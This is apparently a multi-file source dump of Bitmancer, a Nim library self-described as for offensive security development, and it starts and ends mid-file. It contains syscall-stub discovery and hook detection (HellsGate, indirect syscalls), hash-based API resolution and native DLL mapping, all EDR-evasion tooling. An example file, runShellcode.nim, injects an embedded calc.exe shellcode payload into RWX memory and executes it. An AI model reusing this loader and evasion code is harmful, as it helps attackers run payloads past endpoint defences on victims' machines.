##---------------------------------------------------------------------------------- 20 | import 21 | loader 22 | export 23 | loader 24 | 25 | type 26 | ## Dynamic/Runtime Function Table 27 | ##------------------------------------ 28 | FUNCTION_TABLE_TYPE* = enum 29 | RF_Sorted, 30 | RF_Unsorted, 31 | RF_Callback, 32 | RF_Kernel_Dynamic 33 | 34 | RUNTIME_FUNCTION_TABLE_CALLBACK* = proc(arg1: ULONGLONG, arg2: PVOID): PIMAGE_RUNTIME_FUNCTION_ENTRY 35 | 36 | RUNTIME_FUNCTION_TABLE* {.pure.} = object 37 | ListEntry*: LIST_ENTRY 38 | FunctionTable*: PIMAGE_RUNTIME_FUNCTION_ENTRY 39 | TimeStamp*: LARGE_INTEGER 40 | MinimumAddress*: ULONGLONG 41 | MaximumAddress*: ULONGLONG 42 | BaseAddress*: ULONGLONG 43 | Callback*: RUNTIME_FUNCTION_TABLE_CALLBACK 44 | Context*: PVOID 45 | OutOfProcessCallbackDll*: PWCHAR 46 | Type*: FUNCTION_TABLE_TYPE 47 | EntryCount*: ULONG 48 | TreeNodeMin*: RTL_BALANCED_NODE 49 | TreeNodeMax*: RTL_BALANCED_NODE 50 | PRUNTIME_FUNCTION_TABLE* = ptr RUNTIME_FUNCTION_TABLE 51 | 52 | IMAGE_RUNTIME_FUNCTION_ENTRY_UNION_1* {.pure, union.} = object 53 | UnwindInfoAddress*: ULONG 54 | UnwindData*: ULONG 55 | 56 | IMAGE_RUNTIME_FUNCTION_ENTRY* {.pure.} = object 57 | BeginAddress*: ULONG 58 | EndAddress*: ULONG 59 | Union1*: IMAGE_RUNTIME_FUNCTION_ENTRY_UNION_1 60 | PIMAGE_RUNTIME_FUNCTION_ENTRY* = ptr IMAGE_RUNTIME_FUNCTION_ENTRY 61 | 62 | ## Inverted Function Table 63 | ##------------------------------------ 64 | INVERTED_FUNCTION_TABLE_ENTRY_UNION* {.pure, union.} = object 65 | FunctionTable*: PIMAGE_RUNTIME_FUNCTION_ENTRY 66 | DynamicTable*: PRUNTIME_FUNCTION_TABLE 67 | 68 | INVERTED_FUNCTION_TABLE_ENTRY* {.pure.} = object 69 | Union1*: INVERTED_FUNCTION_TABLE_ENTRY_UNION 70 | ImageBase*: PVOID 71 | SizeOfImage*: ULONG 72 | SizeOfTable*: ULONG 73 | 74 | INVERTED_FUNCTION_TABLE* {.pure.} = object 75 | CurrentSize*: ULONG 76 | MaximumSize*: ULONG 77 | Epoch*: ULONG 78 | Overflow*: ULONG 79 | TableEntries*: array[512, INVERTED_FUNCTION_TABLE_ENTRY] 80 | PINVERTED_FUNCTION_TABLE* = ptr INVERTED_FUNCTION_TABLE 81 | 82 | 83 | -------------------------------------------------------------------------------- /src/Bitmancer/core/utils.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | types 22 | export 23 | types 24 | 25 | type 26 | SomePointer* = pointer | ptr 27 | 28 | ## Assembly Utility Templates 29 | ##------------------------------------------------------------------------ 30 | template isCallInstruction*[T: SomePointer](p: T): bool = 31 | when T is ptr BYTE: 32 | p[] == 0xE8 33 | else: 34 | cast[PBYTE](p)[] == 0xE8 35 | 36 | ## Pointer Utility Templates 37 | ##------------------------------------------------------------------------ 38 | template `++`*[T](p: var ptr T) = 39 | p = cast[ptr T](cast[int](p) +% sizeof(T)) 40 | 41 | template `--`*[T](p: var ptr T) = 42 | p = cast[ptr T](cast[int](p) -% sizeOf(T)) 43 | 44 | template `+!`*[T: SomePointer](p: T, s: SomeInteger): T = 45 | when s is SomeSignedInt: 46 | cast[T](cast[int](p) +% s.int) 47 | elif s is SomeUnsignedInt: 48 | cast[T](cast[uint](p) + s.uint) 49 | 50 | template `-!`*[T: SomePointer](p: T, s: SomeInteger): T = 51 | when s is SomeSignedInt: 52 | cast[T](cast[int](p) -% s.int) 53 | elif s is SomeUnsignedInt: 54 | cast[T](cast[uint](p) - s.uint) 55 | 56 | template `+=!`*[T: SomePointer](p: var T, s: SomeInteger) = 57 | p = p +! s 58 | 59 | template `-=!`*[T: SomePointer](p: var T, s: SomeInteger) = 60 | p = p -! s 61 | 62 | template inc*(p: var pointer) = 63 | p = p +! 1 64 | 65 | template inc*[T: SomeInteger](p: var ptr T) = 66 | p = p +! sizeOf(T) 67 | 68 | template dec*(p: var pointer) = 69 | p = p -! 1 70 | 71 | template dec*[T: SomeInteger](p: var ptr T) = 72 | p = p -! sizeOf(T) 73 | 74 | template CONTAINING_RECORD*(address: ptr, T: typedesc, field: untyped): ptr T = 75 | cast[ptr T](cast[int](address) -% T.offsetOf(field)) 76 | 77 | template NEXT_ADDRESS*[T: SomePointer](p: var T) = 78 | p = cast[T](cast[int](p) +% sizeOf(T)) 79 | 80 | template PREV_ADDRESS*[T: SomePointer](p: var T) = 81 | p = cast[T](cast[int](p) -% sizeOf(T)) 82 | 83 | ## Bitfield Utility Templates 84 | ##------------------------------------------------------------------------ 85 | template `&=`*[T: SomeInteger](x: var T, y: T) = 86 | x = x and y 87 | 88 | template `|=`*[T: SomeInteger](x: var T, y: T) = 89 | x = x or y 90 | 91 | template `^=`*[T: SomeInteger](x: var T, y: T) = 92 | x = x xor y 93 | 94 | template `&&`*[T: SomeInteger](x, y: T): bool = 95 | (x and y) > 0 96 | 97 | template `||`*[T: SomeInteger](x, y: T): bool = 98 | (x or y) > 0 99 | 100 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/mappings/native.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../ldrbase 22 | 23 | export 24 | ldrbase 25 | 26 | ## Native / On-Disk DLLs 27 | ## Map DLLs from disk into the process. 28 | ##------------------------------------------------------------------------ 29 | proc ldrMapNativeModuleKnownDLL*(ctx: PLoadContext): NtResult[void] = 30 | ## 31 | 32 | proc ldrMapNativeModule*(ctx: PLoadContext): NtResult[void] = 33 | var 34 | sHandle = HANDLE(0) 35 | fHandle = HANDLE(0) 36 | viewSize = SIZE_T(0) 37 | ioStatusBlock = IO_STATUS_BLOCK() 38 | mapBase = PVOID(NULL) 39 | 40 | ## Initialize Object Attributes 41 | var 42 | objAttributes = OBJECT_ATTRIBUTES() 43 | objPath = UNICODE_STRING() 44 | objBuffer = ctx.entry.FullDllName.Buffer 45 | 46 | RTL_INIT_EMPTY_UNICODE_STRING(objPath, objBuffer, USHORT(objBuffer.len() * sizeOf(WCHAR))) 47 | InitializeObjectAttributes(addr objAttributes, addr objPath, 0, sHandle, NULL) 48 | 49 | ? ntOpenFile( 50 | fHandle, 51 | ACCESS_MASK(SYNCHRONIZE or FILE_READ_DATA or FILE_EXECUTE), 52 | addr objAttributes, 53 | ioStatusBlock, 54 | ULONG(FILE_SHARE_READ or FILE_SHARE_DELETE), 55 | ULONG(FILE_NON_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT) 56 | ) 57 | 58 | if ntCreateSection( 59 | sHandle, 60 | ACCESS_MASK(SECTION_QUERY or SECTION_MAP_READ or SECTION_MAP_EXECUTE), 61 | NULL, 62 | NULL, 63 | PAGE_EXECUTE, 64 | SEC_IMAGE, 65 | fHandle 66 | ).isErr(): 67 | ntClose(fHandle) 68 | return err SyscallFailure 69 | 70 | if ntMapViewOfSection( 71 | sHandle, 72 | rtlCurrentProcess(), 73 | mapBase, 74 | 0, 75 | 0, 76 | NULL, 77 | viewSize, 78 | 1, 79 | 0, 80 | PAGE_READONLY 81 | ).isErr(): 82 | ntClose(sHandle) 83 | ntClose(fHandle) 84 | return err SyscallFailure 85 | 86 | ctx.fileHandle = fHandle 87 | ctx.sectHandle = sHandle 88 | ctx.entry.DLLBase = mapBase 89 | ctx.entry.SizeOfImage = ULONG(viewSize) 90 | ok() 91 | 92 | proc ldrUnmapNativeModule*(ctx: PLoadContext): NtResult[void] = 93 | ntUnmapViewOfSection(rtlCurrentProcess(), ctx.entry.DLLBase) 94 | ntClose(ctx.sectHandle) 95 | ctx.sectHandle = 0 96 | ntClose(ctx.fileHandle) 97 | ctx.fileHandle = 0 98 | ok() 99 | 100 | 101 | -------------------------------------------------------------------------------- /examples/runShellcode.nim: -------------------------------------------------------------------------------- 1 | import ../src/Bitmancer/syscalls 2 | import ../src/Bitmancer/core/obfuscation/hash 3 | 4 | # ---------------------------------------------------------------------------- 5 | # Define syscalls 6 | 7 | type 8 | NtAllocateVirtualMemory = proc(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall, gcsafe.} 9 | NtWriteVirtualMemory = proc(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.stdcall, gcsafe.} 10 | 11 | const 12 | NtAllocateVirtualMemoryHash = ctDjb2 "NtAllocateVirtualMemory" 13 | NtWriteVirtualMemoryHash = ctDjb2 "NtWriteVirtualMemory" 14 | 15 | genSyscall(NtAllocateVirtualMemory) 16 | genSyscall(NtWriteVirtualMemory) 17 | 18 | # ---------------------------------------------------------------------------- 19 | # Configure Bitmancer 20 | 21 | const 22 | symEnum = SymbolEnumeration.UseEAT 23 | ssnEnum = SsnEnumeration.HellsGate 24 | exeEnum = SyscallExecution.Indirect 25 | 26 | # ---------------------------------------------------------------------------- 27 | # Basic Injection 28 | 29 | proc inject(): NtResult[bool] = # you need to wrap the result in some sort of NtResult[] 30 | # Get ntdll 31 | let Ntdll = NTDLL_BASE().valueOr(): 32 | return 33 | 34 | # Resolve syscalls 35 | var NtAllocateVirtualMemorySyscall = ? getNtSyscall[NtAllocateVirtualMemory](Ntdll, ModuleHandle(NULL), NtAllocateVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 36 | var NtWriteVirtualMemorySyscall = ? getNtSyscall[NtWriteVirtualMemory](Ntdll, ModuleHandle(NULL), NtWriteVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 37 | 38 | 39 | # I think this is a msf calc.exe payload :-) 40 | var buf: array[276, byte] = [ 41 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41, 42 | 0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b, 43 | 0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b, 44 | 0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31, 45 | 0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d, 46 | 0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20, 47 | 0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00, 48 | 0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18, 49 | 0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9, 50 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31, 51 | 0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75, 52 | 0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58, 53 | 0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48, 54 | 0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48, 55 | 0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41, 56 | 0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58, 57 | 0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d, 58 | 0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d, 59 | 0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff, 60 | 0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d, 61 | 0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb, 62 | 0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41, 63 | 0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65, 64 | 0x00] 65 | 66 | 67 | var sc_size: SIZE_T = cast[SIZE_T](buf.len) 68 | var dest: LPVOID 69 | var current_process: HANDLE = cast[HANDLE](-1) # pseudo handle to current proc 70 | 71 | var ret = NtAllocateVirtualMemoryWrapper(current_process, &dest, 0, &sc_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE, NtAllocateVirtualMemorySyscall) 72 | 73 | var bytesWritten: SIZE_T 74 | ret = NtWriteVirtualMemoryWrapper(current_process, dest, unsafeAddr buf, sc_size-1, addr bytesWritten, NtWriteVirtualMemorySyscall) 75 | 76 | let f = cast[proc(){.nimcall.}](dest) 77 | f() 78 | 79 | when isMainModule: 80 | discard inject() 81 | -------------------------------------------------------------------------------- /tests/trtl.nim: -------------------------------------------------------------------------------- 1 | 2 | 3 | import 4 | winim/winstr, 5 | ../Bitmancer/core/obfuscation/hash, 6 | ../Bitmancer/rtl, 7 | unittest 8 | 9 | suite "Test RTL functions": 10 | 11 | test "Heap": 12 | let alloc = PROCESS_HEAP_ALLOC(pointer) 13 | check: 14 | alloc.isOk() 15 | 16 | let free = PROCESS_HEAP_FREE(alloc.get()) 17 | check: 18 | free.isOk() 19 | 20 | test "Locks": 21 | 22 | checkpoint "SRW Locks" 23 | var srwlock = RTL_SRWLOCK() 24 | 25 | let status1 = eRtlInitializeSRWLock(srwlock) 26 | check: 27 | status1.isOk() 28 | 29 | let status2 = eRtlAcquireSRWLockExclusive srwlock 30 | check: 31 | status2.isOk() 32 | 33 | let status3 = eRtlReleaseSRWLockExclusive srwlock 34 | check: 35 | status3.isOk() 36 | 37 | checkpoint "Critical Sections" 38 | let peblock = NtCurrentPeb().FastPebLock 39 | 40 | let status5 = eRtlEnterCriticalSection peblock 41 | check: 42 | status5.isOk() 43 | 44 | let status6 = eRtlLeaveCriticalSection peblock 45 | check: 46 | status6.isOk() 47 | 48 | test "RedBlack": 49 | let 50 | pHead = LDR_LIST_ORDER(NtCurrentPeb(), MemoryOrder) 51 | pCurr = LDR_LINK_ORDER(pHead.Flink, MemoryOrder) 52 | ntdllEntry = getLdrEntry(NtdllHash, MemoryOrder) 53 | pNode = LDR_INDEX_ORDER(pCurr, BaseAddress) 54 | root = getFirstNode pNode 55 | baseTree = getBaseAddressIndexTree() 56 | var ntdllNode = addr ntdllEntry.get().BaseAddressIndexNode 57 | check: 58 | baseTree.isOk() 59 | 60 | let 61 | parent = NODE_PARENT_NODE(ntdllNode) 62 | remove = eRtlRbRemoveNode(baseTree.get(), ntdllNode) 63 | check: 64 | remove.isOk() 65 | CHILD_ENTRY_RIGHT(parent).isNil() 66 | 67 | let insert = eRtlRbInsertNodeEx( 68 | baseTree.get(), 69 | root.get(), 70 | TRUE, 71 | ntdllNode 72 | ) 73 | check: 74 | insert.isOk() 75 | NODE_PARENT_NODE(ntdllNode) != parent 76 | 77 | test "Shlwapi": 78 | let 79 | system32string = L"C:\\Windows\\System32\\ntdll.dll" 80 | drivestring = L"C:\\ntdll.dll" 81 | driveDir = L"C:\\" 82 | cdrivedirstring = L"C:" 83 | filestring = L"ntdll.dll" 84 | notfilestring = L"C:\\foo\\" 85 | 86 | let 87 | system32 = cPathFindFileNameW(system32string) 88 | cDrive = cPathFindFileNameW(driveString) 89 | cDriveDir = cPathFindFileNameW(driveDir) 90 | file = cPathFindFileNameW(filestring) 91 | cDrv = cPathFindFileNameW(cdrivedirstring) 92 | notfile = cPathFindFileNameW(notfilestring) 93 | 94 | check: 95 | system32.isOk() 96 | $system32.get() == $filestring 97 | 98 | cDrive.isOk() 99 | $cDrive.get() == $filestring 100 | 101 | cDriveDir.isOk() 102 | $cDriveDir.get() == $driveDir 103 | 104 | file.isOk() 105 | $file.get() == $filestring 106 | 107 | cDrv.isOk() 108 | $cDrv.get() == $cdrivedirstring 109 | 110 | notfile.isOk() 111 | $notfile.get() == $notfilestring 112 | 113 | test "Str": 114 | var 115 | uniString = UNICODE_STRING() 116 | buffer = L"ntdll.dll" 117 | 118 | checkpoint "RtlInitUnicodeString" 119 | 120 | let status1 = eRtlInitUnicodeString(uniString, buffer) 121 | check: 122 | status1.isOk() 123 | 124 | let hash = eRtlHashUnicodeString(addr uniString, TRUE, 0) 125 | check: 126 | hash.isOk() 127 | hash.get() != 0 128 | -------------------------------------------------------------------------------- /src/Bitmancer/core/enumeration/memory/syscalls.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ".."/../[pe, utils] 22 | 23 | export 24 | pe 25 | 26 | ## Memory Enumeration for Syscalls 27 | ##------------------------------------------------------------------------ 28 | const 29 | SeperationBytes = QWORD 0x0000000000841F0F ## nop dword ptr ds:[rax+rax], eax 30 | BarrierBytes = QWORD 0xCCCCCCCCCCCCCCCC 31 | SyscallBytes = WORD 0x050F 32 | type 33 | Syscall* {.byCopy.} = object 34 | wSyscall*: WORD 35 | pSyscall*: PVOID 36 | SyscallResult* = NtResult[Syscall] 37 | 38 | ## Helper Templates 39 | ##------------------------------------ 40 | template isValidStub(currentByte: PVOID): bool = 41 | ## First opcodes should be : 42 | ## MOV R10, RCX 43 | ## MOV RCX, 44 | cast[PBYTE](currentByte)[] == 0x4C and 45 | cast[PBYTE](currentByte +! 1)[] == 0x8B and 46 | cast[PBYTE](currentByte +! 2)[] == 0xD1 and 47 | cast[PBYTE](currentByte +! 3)[] == 0xB8 and 48 | cast[PBYTE](currentByte +! 6)[] == 0x00 and 49 | cast[PBYTE](currentByte +! 7)[] == 0x00 50 | 51 | ## Public 52 | ##------------------------------------ 53 | iterator ntStubs*(pFirstStub: UINT_PTR): UINT_PTR = 54 | var 55 | currentQword = cast[PQWORD](pFirstStub) 56 | breakLoop = true 57 | while breakLoop: 58 | yield cast[UINT_PTR](currentQword) 59 | while currentQword[] != SeperationBytes: 60 | NEXT_ADDRESS currentQword 61 | if currentQword[] == BarrierBytes: 62 | breakLoop = false 63 | break 64 | if breakLoop: 65 | NEXT_ADDRESS currentQword 66 | 67 | template isHighestAddress*(pStub: UINT_PTR): bool = 68 | cast[PQWORD](pstub -% sizeof(UINT_PTR))[] == BarrierBytes 69 | 70 | template isHooked*(pStub: PVOID): bool = 71 | not checkStub(pStub, 0).isOk() 72 | 73 | func searchNtStubUp*(pStub: UINT_PTR): UINT_PTR = 74 | var currentQword = cast[PQWORD](pStub) 75 | while cast[PQWORD](currentQword -! sizeof(UINT_PTR))[] != BarrierBytes: 76 | PREV_ADDRESS currentQword 77 | cast[UINT_PTR](currentQword) 78 | 79 | func getSyscallInstruction*(stub: PVOID): NtResult[PVOID] = 80 | let syscall = stub +! 0x12 81 | if cast[PWORD](syscall)[] != SyscallBytes: 82 | err SearchNotFound 83 | else: 84 | ok syscall 85 | 86 | func checkStub*(functionBase: PVOID, offset: DWORD): SyscallResult = 87 | ## Checks the stub at the offset from the functionBase for an unhooked syscall stub. 88 | if isValidStub(functionBase +! offset): 89 | let 90 | highByte = cast[PBYTE](functionBase +! offset +! 5)[] 91 | lowByte = cast[PBYTE](functionBase +! offset +! 4)[] 92 | wSyscall = WORD((highByte shr 8) or lowByte) 93 | pSyscall = ? getSyscallInstruction(functionBase +! offset) 94 | ok Syscall( 95 | wSyscall: wSyscall, 96 | pSyscall: pSyscall 97 | ) 98 | else: 99 | err SyscallNotFound 100 | 101 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl/str.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../core 23 | 24 | export 25 | core 26 | 27 | ## Hashes 28 | ##------------------------------------------------------------------------ 29 | const 30 | RtlHashUnicodeStringHash* = HASH_A cstring"RtlHashUnicodeString" 31 | RtlInitUnicodeStringHash* = HASH_A cstring"RtlInitUnicodeString" 32 | RtlFreeUnicodeStringHash* = HASH_A cstring"RtlFreeUnicodeString" 33 | 34 | ## Custom Unicode String Functions 35 | ##------------------------------------------------------------------------ 36 | proc new*(T: typedesc[UNICODE_STRING], sz: SIZE_T = MAX_PATH): NtResult[T] = 37 | var newUnicodeString = UNICODE_STRING() 38 | newUnicodeString.Length = 0 39 | newUnicodeString.MaximumLength = sz.USHORT 40 | newUnicodeString.Buffer = cast[PWSTR](? PROCESS_HEAP_ALLOC(sz)) 41 | ok newUnicodeString 42 | 43 | ## RTL Unicode String Functions 44 | ##------------------------------------------------------------------------ 45 | 46 | ## RtlHashUnicodeString 47 | ##------------------------------------ 48 | proc getRtlHashUnicodeString*(Ntdll: ModuleHandle): NtResult[RtlHashUnicodeString] {.inline.} = 49 | let f = ? getProcAddress(Ntdll, RtlHashUnicodeStringHash) 50 | ok cast[RtlHashUnicodeString](f) 51 | 52 | proc rtlHashUnicodeString*(s: PUNICODE_STRING, inSensitive: BOOLEAN, hashAlgo: ULONG): NtResult[ULONG] = 53 | let 54 | Ntdll = ? NTDLL_BASE() 55 | pRtlHashUnicodeString = ? getRtlHashUnicodeString Ntdll 56 | var hashValue = ULONG(0) 57 | 58 | if NT_SUCCESS pRtlHashUnicodeString(s, inSensitive, hashAlgo, hashValue): 59 | ok hashValue 60 | else: 61 | err ProcedureFailure 62 | 63 | ## RtlInitUnicodeString 64 | ##------------------------------------ 65 | proc getRtlInitUnicodeString*(Ntdll: ModuleHandle): NtResult[RtlInitUnicodeString] {.inline.} = 66 | let f = ? getProcAddress(Ntdll, RtlInitUnicodeStringHash) 67 | ok cast[RtlInitUnicodeString](f) 68 | 69 | proc rtlInitUnicodeString*(dest: var UNICODE_STRING, src: PCWSTR): NtResult[void] = 70 | let 71 | Ntdll = ? NTDLL_BASE() 72 | pRtlInitUnicodeString = ? getRtlInitUnicodeString Ntdll 73 | pRtlInitUnicodeString(dest, src) 74 | ok() 75 | 76 | func rtlInitUnicodeString*(dest: var UNICODE_STRING, src: PCWSTR) = 77 | if not src.isNil(): 78 | let destSize = src.len() * sizeof(WCHAR) 79 | dest.Length = cast[USHORT](destSize) 80 | dest.MaximumLength = cast[USHORT](destSize + sizeof(WCHAR)) 81 | else: 82 | dest.Length = 0 83 | dest.MaximumLength = 0 84 | dest.Buffer = src 85 | 86 | ## RtlFreeUnicodeString 87 | ##------------------------------------ 88 | proc getRtlFreeUnicodeString*(Ntdll: ModuleHandle): NtResult[RtlFreeUnicodeString] {.inline.} = 89 | let f = ? getProcAddress(Ntdll, RtlFreeUnicodeStringHash) 90 | ok cast[RtlFreeUnicodeString](f) 91 | 92 | proc rtlFreeUnicodeString*(s: var UNICODE_STRING): NtResult[void] {.discardable.} = 93 | let 94 | Ntdll = ? NTDLL_BASE() 95 | pRtlFreeUnicodeString = ? getRtlFreeUnicodeString Ntdll 96 | pRtlFreeUnicodeString(s) 97 | ok() 98 | -------------------------------------------------------------------------------- /src/Bitmancer/crt/io.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../core/[ntloader, procedures] 23 | 24 | export 25 | ntloader 26 | 27 | ## IO 28 | ## 29 | ## This is still a large WIP. 30 | ##------------------------------------------------------------------------ 31 | 32 | const 33 | O_BINARY* = 0x8000 34 | LoadLibraryHash* = ctDjb2 "LoadLibraryA" 35 | Iob_funcHash* = ctDjb2 "__iob_func" 36 | FilenoHash* = ctDjb2 "_fileno" 37 | FwriteHash* = ctDjb2 "fwrite" 38 | FflushHash* = ctDjb2 "fflush" 39 | SetModeHash* = ctDjb2 "_setmode" 40 | 41 | proc getiob_func*(imageBase: ModuleHandle): NtResult[iob_func] {.inline.} = 42 | let f = ? getProcAddress(imageBase, Iob_funcHash) 43 | ok cast[iob_func](f) 44 | 45 | proc getfileno*(imageBase: ModuleHandle): NtResult[fileno] {.inline.} = 46 | let f = ? getProcAddress(imageBase, FilenoHash) 47 | ok cast[fileno](f) 48 | 49 | proc getset_mode*(imageBase: ModuleHandle): NtResult[set_mode] {.inline.} = 50 | let f = ? getProcAddress(imageBase, SetModeHash) 51 | ok cast[set_mode](f) 52 | 53 | proc getfwrite*(imageBase: ModuleHandle): NtResult[fwrite] {.inline.} = 54 | let f = ? getProcAddress(imageBase, FwriteHash) 55 | ok cast[fwrite](f) 56 | 57 | proc getfflush*(imageBase: ModuleHandle): NtResult[fflush] {.inline.} = 58 | let f = ? getProcAddress(imageBase, FflushHash) 59 | ok cast[fflush](f) 60 | 61 | proc getAndInitStdout(crtBase: ModuleHandle): NtResult[CFilePtr] = 62 | let 63 | piob_func = ? getiob_func crtBase 64 | pfile_no = ? getfileno crtBase 65 | pset_mode = ? getset_mode crtBase 66 | 67 | ## I have no idea why stdout is at an offset of 0x30, the structure 68 | ## (from what i can tell by reading mingw's source code) is 0x40 bytes. 69 | ## 0x30 puts us at CFile.bufSize. 70 | let cstdout = cast[CFilePtr](cast[int](piob_func()) +% 0x30) 71 | if pset_mode(pfile_no(cstdout), O_BINARY) == -1: 72 | err ProcedureFailure 73 | else: 74 | ok cstdout 75 | 76 | proc writeStream(crtBase: ModuleHandle, f: CFilePtr, s: cstring): NtResult[void] = 77 | let 78 | pfwrite = ? getfwrite crtBase 79 | pflush = ? getfflush crtBase 80 | discard pfwrite(s, 1, s.len, f) 81 | discard pflush(f) 82 | ok() 83 | 84 | proc getCrtBase(): NtResult[ModuleHandle] = 85 | let crtBase = 86 | if not MODULE_LOADED(MsvcrtHash, LoadOrder): 87 | ## if not loaded, load it - just using loadlibrary for now 88 | var msvcrt {.stackStringA.} = "msvcrt.dll" 89 | let 90 | k32 = ? KERNEL32_BASE() 91 | loadLibrary = ? getProcAddress(k32, LoadLibraryHash) 92 | pLoadLibrary = 